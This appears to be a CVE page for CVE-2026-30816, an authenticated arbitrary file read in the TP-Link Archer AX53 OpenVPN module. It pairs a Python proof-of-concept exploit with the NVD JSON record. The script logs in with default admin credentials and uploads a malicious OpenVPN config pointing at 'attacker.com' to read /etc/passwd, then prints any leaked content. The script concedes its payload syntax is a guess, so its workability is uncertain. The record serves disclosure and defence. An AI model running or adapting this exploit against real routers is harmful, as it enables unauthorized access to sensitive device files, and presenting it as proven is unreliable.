CVE-2026-30816

# Proof of Concept for CVE-2026-30816 # This script demonstrates the Arbitrary File Read vulnerability in TP-Link AX53 OpenVPN module. # Note: Authentication is required. import requests # Target URL (example) target_ip = "192.168.0.1" login_url = f"http://{target_ip}/" upload_url = f"http://{target_ip}/data/openvpn_config.upload" username = "admin" password = "admin" # Malicious configuration content trying to read /etc/passwd # The specific payload syntax depends on the device's implementation malicious_config = """ client dev tun proto tcp remote attacker.com 1194 resolv-retry infinite nobind persist-key persist-tun ca ca.crt <inline> file /etc/passwd </inline> """ def exploit(): session = requests.Session() # 1. Login to get authenticated session print(f"[*] Logging in to {target_ip}...") login_data = {"username": username, "password": password} response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Login failed.") return print("[+] Login successful.") # 2. Upload malicious configuration print(f"[*] Uploading malicious configuration to trigger file read...") files = {'file': ('config.ovpn', malicious_config, 'application/octet-stream')} upload_response = session.post(upload_url, files=files) # 3. Check response for leaked file content if "/root:" in upload_response.text or "nobody:" in upload_response.text: print("[+] Exploit successful! File content leaked:") print(upload_response.text[:500]) # Print first 500 chars else: print("[-] Exploit failed or payload incorrect.") print(upload_response.text) if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-30816", "sourceIdentifier": "f23511db-6c3e-4e32-a477-6aa17d310630", "published": "2026-04-08T19:25:20.477", "lastModified": "2026-05-07T16:16:18.530", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An external control of configuration vulnerability in the OpenVPN module of TP-Link AX53 v1.0 allows an authenticated adjacent attacker to read arbitrary file when a malicious configuration file is processed. \nSuccessful\nexploitation may allow unauthorized access to arbitrary files on the device,\npotentially exposing sensitive information.This issue affects AX53 v1.0: before 1.7.1 Build 20260213."}], "metrics": {"cvssMetricV40": [{"source": "f23511db-6c3e-4e32-a477-6aa17d310630", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 3.6}]}, "weaknesses": [{"source": "f23511db-6c3e-4e32-a477-6aa17d310630", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-15"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-610"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:archer_ax53_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.7.1", "matchCriteriaId": "BBAE4118-799E-4ADB-9088-1CB86B54C09B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tp-link:archer_ax53:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "5F3EA1D9-EB47-4785-9CF0-F2B51945917D"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Third Party Advisory"]}, {"url": "https://www.tp-link.com/en/support/download/archer-ax53/v1/#Firmware", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Product"]}, {"url": "https://www.tp-link.com/my/support/download/archer-ax53/v1/#Firmware", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Product"]}, {"url": "https://www.tp-link.com/us/support/faq/5055/", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Vendor Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2304", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}